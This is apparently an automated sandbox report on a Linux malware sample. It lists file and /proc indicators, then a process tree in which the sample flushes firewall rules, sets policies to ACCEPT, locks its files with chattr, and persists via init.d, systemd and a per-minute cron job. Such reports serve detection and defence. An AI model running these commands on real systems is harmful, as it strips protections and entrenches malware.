/sys/devices/virtual/dmi/id/product_version service-agent File opened for reading /sys/devices/virtual/dmi/id/product_uuid service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_type service-agent File opened for reading /sys/devices/virtual/dmi/id/board_name service-agent File opened for reading /sys/devices/virtual/dmi/id/board_name service-agent File opened for reading /sys/devices/virtual/dmi/id/board_version service-agent File opened for reading /sys/devices/virtual/dmi/id/product_serial Process not Found File opened for reading /sys/devices/virtual/dmi/id/product_serial service-agent File opened for reading /sys/devices/virtual/dmi/id/board_asset_tag service-agent File opened for reading /sys/devices/virtual/dmi/id/product_uuid service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_asset_tag Process not Found File opened for reading /sys/devices/virtual/dmi/id/chassis_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/board_serial Process not Found File opened for reading /sys/devices/virtual/dmi/id/bios_date Process not Found File opened for reading /sys/devices/virtual/dmi/id/chassis_vendor Process not Found File opened for reading /sys/devices/virtual/dmi/id/chassis_type Process not Found File opened for reading /sys/devices/virtual/dmi/id/chassis_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/bios_version service-agent File opened for reading /sys/devices/virtual/dmi/id/product_serial service-agent File opened for reading /sys/devices/virtual/dmi/id/board_serial service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/board_version service-agent File opened for reading /sys/devices/virtual/dmi/id/board_asset_tag service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_type service-agent File opened for reading /sys/devices/virtual/dmi/id/board_asset_tag service-agent File opened for reading /sys/devices/virtual/dmi/id/board_serial service-agent File opened for reading /sys/devices/virtual/dmi/id/bios_date service-agent File opened for reading /sys/devices/virtual/dmi/id/product_uuid service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_asset_tag Process not Found File opened for reading /sys/devices/virtual/dmi/id/board_version service-agent File opened for reading /sys/devices/virtual/dmi/id/product_uuid service-agent File opened for reading /sys/devices/virtual/dmi/id/product_serial service-agent File opened for reading /sys/devices/virtual/dmi/id/board_asset_tag service-agent File opened for reading /sys/devices/virtual/dmi/id/product_serial service-agent -
Writes file to system bin folder 1 TTPs 35 IoCs
description ioc Process File opened for modification /bin/crondr cp File opened for modification /bin/initdr cp File opened for modification /bin/sysdr cp File opened for modification /bin/initdr cp File opened for modification /bin/sysdr Process not Found File opened for modification /bin/bprofr cp File opened for modification /bin/crondr cp File opened for modification /bin/crondr cp File opened for modification /bin/bprofr cp File opened for modification /bin/crondr Process not Found File opened for modification /bin/initdr Process not Found File opened for modification /bin/initdr Process not Found File opened for modification /bin/sysdr cp File opened for modification /bin/initdr cp File opened for modification /bin/initdr Process not Found File opened for modification /bin/sysdr Process not Found File opened for modification /bin/bprofr Process not Found File opened for modification /bin/crondr cp File opened for modification /bin/sysdr cp File opened for modification /bin/crondr Process not Found File opened for modification /bin/knlib5 bin.elf File opened for modification /bin/sysdr cp File opened for modification /bin/initdr cp File opened for modification /bin/initdr cp File opened for modification /bin/bprofr Process not Found File opened for modification /bin/bprofr cp File opened for modification /bin/crondr cp File opened for modification /bin/initdr cp File opened for modification /bin/bprofr cp File opened for modification /bin/bprofr cp File opened for modification /bin/crondr cp File opened for modification /bin/sysdr cp File opened for modification /bin/bprofr cp File opened for modification /bin/bprofr cp File opened for modification /bin/crondr Process not Found -
Enumerates kernel/hardware configuration 1 TTPs 64 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/bus/node/devices/node0/cpumap Process not Found File opened for reading /sys/kernel/mm/hugepages service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index8/shared_cpu_map service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index1/level service-agent File opened for reading /sys/fs/cgroup/unified/cgroup.controllers Process not Found File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/type Process not Found File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/type service-agent File opened for reading /sys/bus/node/devices/node0/cpumap service-agent File opened for reading /sys/bus/node/devices/node0/access0/initiators/read_bandwidth service-agent File opened for reading /sys/bus/node/devices/node0/access0/initiators/read_bandwidth Process not Found File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/coherency_line_size Process not Found File opened for reading /sys/bus/dax/devices/target_node Process not Found File opened for reading /sys/bus/node/devices/node0/access0/initiators/read_latency service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/physical_line_partition service-agent File opened for reading /sys/bus/node/devices/node0/access0/initiators service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index1/shared_cpu_map service-agent File opened for reading /sys/bus/cpu/devices/cpu0/topology/physical_package_id service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index6/shared_cpu_map service-agent File opened for reading /sys/bus/cpu/devices/cpu0/topology/core_id service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cpufreq/cpuinfo_max_freq service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/type Process not Found File opened for reading /sys/bus/cpu/devices/cpu0/cache/index5/shared_cpu_map service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cpufreq/base_frequency service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/number_of_sets service-agent File opened for reading /sys/kernel/mm/hugepages Process not Found File opened for reading /sys/fs/cgroup/cpuset/cpuset.cpus service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/type service-agent File opened for reading /sys/bus/node/devices/node0/access0/initiators service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/type service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/level service-agent File opened for reading /sys/bus/cpu/devices/cpu0/topology/core_id Process not Found File opened for reading /sys/bus/node/devices/node0/hugepages service-agent File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 Process not Found File opened for reading /sys/bus/cpu/devices/cpu0/cpufreq/base_frequency service-agent File opened for reading /sys/bus/dax/devices/target_node service-agent File opened for reading /sys/kernel/mm/hugepages Process not Found File opened for reading /sys/bus/cpu/devices/cpu0/cache/index1/shared_cpu_map Process not Found File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/shared_cpu_map service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/level service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/coherency_line_size Process not Found File opened for reading /sys/bus/cpu/devices/cpu0/cache/index8/shared_cpu_map Process not Found File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/physical_line_partition service-agent File opened for reading /sys/bus/cpu/devices Process not Found File opened for reading /sys/bus/cpu/devices/cpu0/cpufreq/cpuinfo_max_freq Process not Found File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/size Process not Found File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/physical_line_partition Process not Found File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/shared_cpu_map service-agent File opened for reading /sys/bus/node/devices/node0/access0/initiators service-agent File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/shared_cpu_map service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/level Process not Found File opened for reading /sys/bus/cpu/devices/cpu0/cache/index4/shared_cpu_map Process not Found File opened for reading /sys/bus/cpu/devices/cpu0/topology/package_cpus Process not Found File opened for reading /sys/bus/node/devices/node0/access0/initiators/read_bandwidth service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/type service-agent File opened for reading /sys/bus/node/devices/node0/hugepages/hugepages-2048kB/nr_hugepages service-agent File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/bus/dax/devices service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/number_of_sets Process not Found File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/bus/cpu/devices/cpu0/cache/index4/shared_cpu_map service-agent File opened for reading /sys/bus/cpu/devices service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/size Process not Found File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/shared_cpu_map Process not Found -
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
description ioc Process File opened for reading /proc/1407/cmdline ps File opened for reading /proc/4162/stat ps File opened for reading /proc/403/stat Process not Found File opened for reading /proc/804/stat Process not Found File opened for reading /proc/134/status Process not Found File opened for reading /proc/1473/status pgrep File opened for reading /proc/403/stat ps File opened for reading /proc/1465/status ps File opened for reading /proc/74/stat ps File opened for reading /proc/89/stat ps File opened for reading /proc/931/status Process not Found File opened for reading /proc/cmdline systemctl File opened for reading /proc/474/status pkill File opened for reading /proc/90/status Process not Found File opened for reading /proc/77/cmdline Process not Found File opened for reading /proc/73/cmdline pkill File opened for reading /proc/2452/stat ps File opened for reading /proc/15/stat ps File opened for reading /proc/631/status Process not Found File opened for reading /proc/86/status Process not Found File opened for reading /proc/459/status ps File opened for reading /proc/270/status ps File opened for reading /proc/449/stat Process not Found File opened for reading /proc/457/status Process not Found File opened for reading /proc/651/stat Process not Found File opened for reading /proc/self/stat systemctl File opened for reading /proc/1450/stat ps File opened for reading /proc/meminfo service-agent File opened for reading /proc/73/cmdline ps File opened for reading /proc/self/auxv Process not Found File opened for reading /proc/509/cmdline ps File opened for reading /proc/1501/status ps File opened for reading /proc/70/stat ps File opened for reading /proc/filesystems id File opened for reading /proc/102/status ps File opened for reading /proc/930/stat ps File opened for reading /proc/1094/status pkill File opened for reading /proc/618/stat ps File opened for reading /proc/12/stat Process not Found File opened for reading /proc/3669/status ps File opened for reading /proc/1083/stat ps File opened for reading /proc/1465/cmdline pkill File opened for reading /proc/165/cmdline Process not Found File opened for reading /proc/312/cmdline pkill File opened for reading /proc/170/cmdline ps File opened for reading /proc/20/status Process not Found File opened for reading /proc/167/stat Process not Found File opened for reading /proc/1473/status Process not Found File opened for reading /proc/self/maps awk File opened for reading /proc/175/status pkill File opened for reading /proc/1084/cmdline Process not Found File opened for reading /proc/2774/stat ps File opened for reading /proc/163/status pkill File opened for reading /proc/456/stat Process not Found File opened for reading /proc/stat ps File opened for reading /proc/87/cmdline Process not Found File opened for reading /proc/7/cmdline ps File opened for reading /proc/242/status ps File opened for reading /proc/19/stat ps File opened for reading /proc/163/stat ps File opened for reading /proc/1439/stat ps File opened for reading /proc/1219/stat Process not Found File opened for reading /proc/200/status ps File opened for reading /proc/445/stat ps -
Writes file to tmp directory 29 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/service-agent Process not Found File opened for modification /tmp/.bashirc sys-helper File opened for modification /tmp/.bashirc sys-helper File opened for modification /tmp/.lock Process not Found File opened for modification /tmp/.lock Process not Found File opened for modification /tmp/.bashirc Process not Found File opened for modification /tmp/.lock service-agent File opened for modification /tmp/~/.bash_profile sh File opened for modification /tmp/~/.bash_profile sh File opened for modification /tmp/~/.bash_profile Process not Found File opened for modification /tmp/.lock Process not Found File opened for modification /tmp/.bashirc sys-helper File opened for modification /tmp/sys-helper bin.elf File opened for modification /tmp/.bashirc sys-helper File opened for modification /tmp/service-agent bin.elf File opened for modification /tmp/~/.bash_profile sh File opened for modification /tmp/.bashirc sys-helper File opened for modification /tmp/.lock service-agent File opened for modification /tmp/sys-helper Process not Found File opened for modification /tmp/~/.bash_profile sh File opened for modification /tmp/.lock service-agent File opened for modification /tmp/.bashirc Process not Found File opened for modification /tmp/.bashirc Process not Found File opened for modification /tmp/.lock service-agent File opened for modification /tmp/~/.bash_profile sh File opened for modification /tmp/~/.bash_profile sh File opened for modification /tmp/.lock service-agent File opened for modification /tmp/~/.bash_profile sh File opened for modification /tmp/~/.bash_profile Process not Found -
GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
description flow ioc HTTP User-Agent header 60 Go-http-client/1.1
Processes
-
/tmp/bin.elf/tmp/bin.elf1⤵
- Creates/modifies Cron job
- Modifies init.d
- Modifies systemd
- Writes file to system bin folder
- Writes file to tmp directory
PID:1465 -
/usr/bin/bashbash -c "ufw disable"2⤵PID:1484
-
-
/usr/sbin/ufwufw disable2⤵
- Flushes firewall rules
PID:1484 -
/usr/sbin/iptables/usr/sbin/iptables -V3⤵PID:1487
-
-
/lib/ufw/ufw-init/lib/ufw/ufw-init force-stop3⤵PID:1490
-
/sbin/ip6tablesip6tables -L INPUT -n4⤵PID:1491
-
/sbin/modprobe/sbin/modprobe ip6_tables5⤵
- Loads a kernel module
PID:1492
-
-
-
/sbin/iptablesiptables -F ufw-logging-deny4⤵PID:1499
-
-
/sbin/iptablesiptables -F ufw-logging-allow4⤵PID:1505
-
-
/sbin/iptablesiptables -F ufw-not-local4⤵PID:1506
-
-
/sbin/iptablesiptables -F ufw-user-logging-input4⤵PID:1509
-
-
/sbin/iptablesiptables -F ufw-user-limit-accept4⤵PID:1512
-
-
/sbin/iptablesiptables -F ufw-user-limit4⤵PID:1514
-
-
/sbin/iptablesiptables -F ufw-skip-to-policy-input4⤵PID:1519
-
-
/sbin/iptablesiptables -F ufw-reject-input4⤵PID:1521
-
-
/sbin/iptablesiptables -F ufw-after-logging-input4⤵PID:1522
-
-
/sbin/iptablesiptables -F ufw-after-input4⤵PID:1524
-
-
/sbin/iptablesiptables -F ufw-user-input4⤵PID:1525
-
-
/sbin/iptablesiptables -F ufw-before-input4⤵PID:1527
-
-
/sbin/iptablesiptables -F ufw-before-logging-input4⤵PID:1528
-
-
/sbin/iptablesiptables -F ufw-skip-to-policy-forward4⤵PID:1530
-
-
/sbin/iptablesiptables -F ufw-reject-forward4⤵PID:1531
-
-
/sbin/iptablesiptables -F ufw-after-logging-forward4⤵PID:1532
-
-
/sbin/iptablesiptables -F ufw-after-forward4⤵PID:1533
-
-
/sbin/iptablesiptables -F ufw-user-logging-forward4⤵PID:1535
-
-
/sbin/iptablesiptables -F ufw-user-forward4⤵PID:1536
-
-
/sbin/iptablesiptables -F ufw-before-forward4⤵PID:1538
-
-
/sbin/iptablesiptables -F ufw-before-logging-forward4⤵PID:1539
-
-
/sbin/iptablesiptables -F ufw-track-forward4⤵PID:1541
-
-
/sbin/iptablesiptables -F ufw-track-output4⤵PID:1542
-
-
/sbin/iptablesiptables -F ufw-track-input4⤵PID:1543
-
-
/sbin/iptablesiptables -F ufw-skip-to-policy-output4⤵PID:1544
-
-
/sbin/iptablesiptables -F ufw-reject-output4⤵PID:1545
-
-
/sbin/iptablesiptables -F ufw-after-logging-output4⤵PID:1546
-
-
/sbin/iptablesiptables -F ufw-after-output4⤵PID:1547
-
-
/sbin/iptablesiptables -F ufw-user-logging-output4⤵PID:1548
-
-
/sbin/iptablesiptables -F ufw-user-output4⤵PID:1549
-
-
/sbin/iptablesiptables -F ufw-before-output4⤵PID:1550
-
-
/sbin/iptablesiptables -F ufw-before-logging-output4⤵PID:1551
-
-
/sbin/iptablesiptables -Z ufw-logging-deny4⤵PID:1552
-
-
/sbin/iptablesiptables -Z ufw-logging-allow4⤵PID:1553
-
-
/sbin/iptablesiptables -Z ufw-not-local4⤵PID:1554
-
-
/sbin/iptablesiptables -Z ufw-user-logging-input4⤵PID:1555
-
-
/sbin/iptablesiptables -Z ufw-user-limit-accept4⤵PID:1556
-
-
/sbin/iptablesiptables -Z ufw-user-limit4⤵PID:1557
-
-
/sbin/iptablesiptables -Z ufw-skip-to-policy-input4⤵PID:1558
-
-
/sbin/iptablesiptables -Z ufw-reject-input4⤵PID:1559
-
-
/sbin/iptablesiptables -Z ufw-after-logging-input4⤵PID:1560
-
-
/sbin/iptablesiptables -Z ufw-after-input4⤵PID:1561
-
-
/sbin/iptablesiptables -Z ufw-user-input4⤵PID:1562
-
-
/sbin/iptablesiptables -Z ufw-before-input4⤵PID:1564
-
-
/sbin/iptablesiptables -Z ufw-before-logging-input4⤵PID:1565
-
-
/sbin/iptablesiptables -Z ufw-skip-to-policy-forward4⤵PID:1566
-
-
/sbin/iptablesiptables -Z ufw-reject-forward4⤵PID:1568
-
-
/sbin/iptablesiptables -Z ufw-after-logging-forward4⤵PID:1569
-
-
/sbin/iptablesiptables -Z ufw-after-forward4⤵PID:1570
-
-
/sbin/iptablesiptables -Z ufw-user-logging-forward4⤵PID:1574
-
-
/sbin/iptablesiptables -Z ufw-user-forward4⤵PID:1575
-
-
/sbin/iptablesiptables -Z ufw-before-forward4⤵PID:1577
-
-
/sbin/iptablesiptables -Z ufw-before-logging-forward4⤵PID:1579
-
-
/sbin/iptablesiptables -Z ufw-track-forward4⤵PID:1581
-
-
/sbin/iptablesiptables -Z ufw-track-output4⤵PID:1583
-
-
/sbin/iptablesiptables -Z ufw-track-input4⤵PID:1585
-
-
/sbin/iptablesiptables -Z ufw-skip-to-policy-output4⤵PID:1586
-
-
/sbin/iptablesiptables -Z ufw-reject-output4⤵PID:1587
-
-
/sbin/iptablesiptables -Z ufw-after-logging-output4⤵PID:1589
-
-
/sbin/iptablesiptables -Z ufw-after-output4⤵PID:1590
-
-
/sbin/iptablesiptables -Z ufw-user-logging-output4⤵PID:1591
-
-
/sbin/iptablesiptables -Z ufw-user-output4⤵PID:1592
-
-
/sbin/iptablesiptables -Z ufw-before-output4⤵PID:1593
-
-
/sbin/iptablesiptables -Z ufw-before-logging-output4⤵PID:1594
-
-
/sbin/iptablesiptables -X ufw-logging-deny4⤵PID:1595
-
-
/sbin/iptablesiptables -X ufw-logging-allow4⤵PID:1596
-
-
/sbin/iptablesiptables -X ufw-not-local4⤵PID:1597
-
-
/sbin/iptablesiptables -X ufw-user-logging-input4⤵PID:1598
-
-
/sbin/iptablesiptables -X ufw-user-logging-output4⤵PID:1599
-
-
/sbin/iptablesiptables -X ufw-user-logging-forward4⤵PID:1600
-
-
/sbin/iptablesiptables -X ufw-user-limit-accept4⤵PID:1601
-
-
/sbin/iptablesiptables -X ufw-user-limit4⤵PID:1602
-
-
/sbin/iptablesiptables -X ufw-user-input4⤵PID:1603
-
-
/sbin/iptablesiptables -X ufw-user-forward4⤵PID:1604
-
-
/sbin/iptablesiptables -X ufw-user-output4⤵PID:1605
-
-
/sbin/iptablesiptables -X ufw-skip-to-policy-input4⤵PID:1606
-
-
/sbin/iptablesiptables -X ufw-skip-to-policy-output4⤵PID:1607
-
-
/sbin/iptablesiptables -X ufw-skip-to-policy-forward4⤵PID:1608
-
-
/sbin/iptablesiptables -P INPUT ACCEPT4⤵PID:1609
-
-
/sbin/iptablesiptables -P OUTPUT ACCEPT4⤵PID:1610
-
-
/sbin/iptablesiptables -P FORWARD ACCEPT4⤵PID:1611
-
-
/sbin/ip6tablesip6tables -F ufw6-logging-deny4⤵PID:1612
-
-
/sbin/ip6tablesip6tables -F ufw6-logging-allow4⤵PID:1613
-
-
/sbin/ip6tablesip6tables -F ufw6-not-local4⤵PID:1614
-
-
/sbin/ip6tablesip6tables -F ufw6-user-logging-input4⤵PID:1615
-
-
/sbin/ip6tablesip6tables -F ufw6-user-limit-accept4⤵PID:1616
-
-
/sbin/ip6tablesip6tables -F ufw6-user-limit4⤵PID:1617
-
-
/sbin/ip6tablesip6tables -F ufw6-skip-to-policy-input4⤵PID:1618
-
-
/sbin/ip6tablesip6tables -F ufw6-reject-input4⤵PID:1619
-
-
/sbin/ip6tablesip6tables -F ufw6-after-logging-input4⤵PID:1620
-
-
/sbin/ip6tablesip6tables -F ufw6-after-input4⤵PID:1621
-
-
/sbin/ip6tablesip6tables -F ufw6-user-input4⤵PID:1622
-
-
/sbin/ip6tablesip6tables -F ufw6-before-input4⤵PID:1623
-
-
/sbin/ip6tablesip6tables -F ufw6-before-logging-input4⤵PID:1624
-
-
/sbin/ip6tablesip6tables -F ufw6-skip-to-policy-forward4⤵PID:1625
-
-
/sbin/ip6tablesip6tables -F ufw6-reject-forward4⤵PID:1626
-
-
/sbin/ip6tablesip6tables -F ufw6-after-logging-forward4⤵PID:1627
-
-
/sbin/ip6tablesip6tables -F ufw6-after-forward4⤵PID:1628
-
-
/sbin/ip6tablesip6tables -F ufw6-user-logging-forward4⤵PID:1629
-
-
/sbin/ip6tablesip6tables -F ufw6-user-forward4⤵PID:1630
-
-
/sbin/ip6tablesip6tables -F ufw6-before-forward4⤵PID:1631
-
-
/sbin/ip6tablesip6tables -F ufw6-before-logging-forward4⤵PID:1632
-
-
/sbin/ip6tablesip6tables -F ufw6-track-forward4⤵PID:1633
-
-
/sbin/ip6tablesip6tables -F ufw6-track-output4⤵PID:1634
-
-
/sbin/ip6tablesip6tables -F ufw6-track-input4⤵PID:1635
-
-
/sbin/ip6tablesip6tables -F ufw6-skip-to-policy-output4⤵PID:1636
-
-
/sbin/ip6tablesip6tables -F ufw6-reject-output4⤵PID:1637
-
-
/sbin/ip6tablesip6tables -F ufw6-after-logging-output4⤵PID:1638
-
-
/sbin/ip6tablesip6tables -F ufw6-after-output4⤵PID:1641
-
-
/sbin/ip6tablesip6tables -F ufw6-user-logging-output4⤵PID:1642
-
-
/sbin/ip6tablesip6tables -F ufw6-user-output4⤵PID:1643
-
-
/sbin/ip6tablesip6tables -F ufw6-before-output4⤵PID:1644
-
-
/sbin/ip6tablesip6tables -F ufw6-before-logging-output4⤵PID:1645
-
-
/sbin/ip6tablesip6tables -Z ufw6-logging-deny4⤵PID:1646
-
-
/sbin/ip6tablesip6tables -Z ufw6-logging-allow4⤵PID:1647
-
-
/sbin/ip6tablesip6tables -Z ufw6-not-local4⤵PID:1648
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-logging-input4⤵PID:1649
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-limit-accept4⤵PID:1650
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-limit4⤵PID:1652
-
-
/sbin/ip6tablesip6tables -Z ufw6-skip-to-policy-input4⤵PID:1653
-
-
/sbin/ip6tablesip6tables -Z ufw6-reject-input4⤵PID:1655
-
-
/sbin/ip6tablesip6tables -Z ufw6-after-logging-input4⤵PID:1656
-
-
/sbin/ip6tablesip6tables -Z ufw6-after-input4⤵PID:1657
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-input4⤵PID:1659
-
-
/sbin/ip6tablesip6tables -Z ufw6-before-input4⤵PID:1660
-
-
/sbin/ip6tablesip6tables -Z ufw6-before-logging-input4⤵PID:1661
-
-
/sbin/ip6tablesip6tables -Z ufw6-skip-to-policy-forward4⤵PID:1662
-
-
/sbin/ip6tablesip6tables -Z ufw6-reject-forward4⤵PID:1663
-
-
/sbin/ip6tablesip6tables -Z ufw6-after-logging-forward4⤵PID:1664
-
-
/sbin/ip6tablesip6tables -Z ufw6-after-forward4⤵PID:1666
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-logging-forward4⤵PID:1667
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-forward4⤵PID:1668
-
-
/sbin/ip6tablesip6tables -Z ufw6-before-forward4⤵PID:1669
-
-
/sbin/ip6tablesip6tables -Z ufw6-before-logging-forward4⤵PID:1671
-
-
/sbin/ip6tablesip6tables -Z ufw6-track-forward4⤵PID:1673
-
-
/sbin/ip6tablesip6tables -Z ufw6-track-output4⤵PID:1674
-
-
/sbin/ip6tablesip6tables -Z ufw6-track-input4⤵PID:1675
-
-
/sbin/ip6tablesip6tables -Z ufw6-skip-to-policy-output4⤵PID:1676
-
-
/sbin/ip6tablesip6tables -Z ufw6-reject-output4⤵PID:1677
-
-
/sbin/ip6tablesip6tables -Z ufw6-after-logging-output4⤵PID:1678
-
-
/sbin/ip6tablesip6tables -Z ufw6-after-output4⤵PID:1680
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-logging-output4⤵PID:1681
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-output4⤵PID:1682
-
-
/sbin/ip6tablesip6tables -Z ufw6-before-output4⤵PID:1684
-
-
/sbin/ip6tablesip6tables -Z ufw6-before-logging-output4⤵PID:1685
-
-
/sbin/ip6tablesip6tables -X ufw6-logging-deny4⤵PID:1686
-
-
/sbin/ip6tablesip6tables -X ufw6-logging-allow4⤵PID:1687
-
-
/sbin/ip6tablesip6tables -X ufw6-not-local4⤵PID:1688
-
-
/sbin/ip6tablesip6tables -X ufw6-user-logging-input4⤵PID:1689
-
-
/sbin/ip6tablesip6tables -X ufw6-user-logging-output4⤵PID:1690
-
-
/sbin/ip6tablesip6tables -X ufw6-user-logging-forward4⤵PID:1691
-
-
/sbin/ip6tablesip6tables -X ufw6-user-limit-accept4⤵PID:1692
-
-
/sbin/ip6tablesip6tables -X ufw6-user-limit4⤵PID:1693
-
-
/sbin/ip6tablesip6tables -X ufw6-user-input4⤵PID:1694
-
-
/sbin/ip6tablesip6tables -X ufw6-user-forward4⤵PID:1695
-
-
/sbin/ip6tablesip6tables -X ufw6-user-output4⤵PID:1696
-
-
/sbin/ip6tablesip6tables -X ufw6-skip-to-policy-input4⤵PID:1697
-
-
/sbin/ip6tablesip6tables -X ufw6-skip-to-policy-output4⤵PID:1698
-
-
/sbin/ip6tablesip6tables -X ufw6-skip-to-policy-forward4⤵PID:1699
-
-
/sbin/ip6tablesip6tables -P INPUT ACCEPT4⤵PID:1700
-
-
/sbin/ip6tablesip6tables -P OUTPUT ACCEPT4⤵PID:1701
-
-
/sbin/ip6tablesip6tables -P FORWARD ACCEPT4⤵PID:1702
-
-
-
-
/usr/bin/bashbash -c "iptables -P INPUT ACCEPT"2⤵PID:1703
-
-
/usr/sbin/iptablesiptables -P INPUT ACCEPT2⤵PID:1703
-
-
/usr/bin/bashbash -c "iptables -P OUTPUT ACCEPT"2⤵PID:1704
-
-
/usr/sbin/iptablesiptables -P OUTPUT ACCEPT2⤵PID:1704
-
-
/usr/bin/bashbash -c "iptables -P FORWARD ACCEPT"2⤵PID:1705
-
-
/usr/sbin/iptablesiptables -P FORWARD ACCEPT2⤵PID:1705
-
-
/usr/bin/bashbash -c "iptables -F"2⤵PID:1706
-
-
/usr/sbin/iptablesiptables -F2⤵
- Flushes firewall rules
PID:1706
-
-
/usr/bin/bashbash -c "chattr -ia /etc/ld.so.preload"2⤵PID:1707
-
-
/usr/bin/chattrchattr -ia /etc/ld.so.preload2⤵
- Attempts to change immutable files
PID:1707
-
-
/usr/bin/pgreppgrep -f klibsystem42⤵
- Reads runtime system information
PID:1708
-
-
/usr/bin/pgreppgrep -f klibsystem52⤵
- Reads CPU attributes
PID:1709
-
-
/usr/bin/chattrchattr +ia /etc/init.d/knlib2⤵
- Attempts to change immutable files
PID:1710
-
-
/etc/init.d/knlib/etc/init.d/knlib start2⤵
- Executes dropped EXE
PID:1711 -
/usr/bin/cpcp -f -r -- /bin/knlib5 /bin/klibsystem53⤵PID:1712
-
-
/usr/bin/rmrm -rf -- klibsystem53⤵PID:1714
-
-
-
/usr/bin/chattrchattr +ia /etc/systemd/system/knlibe.service2⤵
- Attempts to change immutable files
PID:1715
-
-
/usr/bin/systemctlsystemctl daemon-reload2⤵
- Reads EFI boot settings
PID:1716
-
-
/usr/bin/systemctlsystemctl enable knlibe.service2⤵
- Reads EFI boot settings
- Reads runtime system information
PID:1744
-
-
/usr/bin/chattrchattr +ia /bin/knlib52⤵
- Attempts to change immutable files
PID:1783
-
-
/usr/bin/crontabcrontab -r2⤵PID:1784
-
-
/usr/bin/pkillpkill -f .klibsystem52⤵
- Reads CPU attributes
PID:1785
-
-
/usr/bin/pkillpkill -f .klibsystem42⤵PID:1786
-
-
/usr/bin/bashbash -c "echo \"* * * * * /home/.klibsystem5 >/dev/null 2>&1\" | crontab -"2⤵PID:1787
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:1789
-
-
-
/usr/bin/chattrchattr +ia /etc/cron.d/.lib-knlib42⤵
- Attempts to change immutable files
PID:1790
-
-
/usr/bin/chattrchattr +ia /var/spool/cron/.lib-knlib42⤵PID:1791
-
-
/usr/bin/chattrchattr +ia /etc/cron.hourly/.lib-knlib42⤵PID:1792
-
-
/usr/bin/chattrchattr +ia /etc/cron.daily/.lib-knlib42⤵PID:1793
-
-
/usr/bin/chattrchattr +ia /etc/cron.weekly/.lib-knlib42⤵PID:1794
-
-
/usr/bin/chattrchattr +ia /etc/cron.monthly/.lib-knlib42⤵
- Attempts to change immutable files
PID:1795
-
-
/usr/bin/chattrchattr -ia /etc/anacrontab2⤵PID:1796
-
-
/usr/bin/chattrchattr +ia /etc/anacrontab2⤵PID:1797
-
-
/tmp/sys-helper/tmp/sys-helper2⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:1798
-
-
/tmp/service-agent/tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d -pwn2⤵
- Executes dropped EXE
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads CPU attributes
- Reads hardware information
- Enumerates kernel/hardware configuration
PID:1800 -
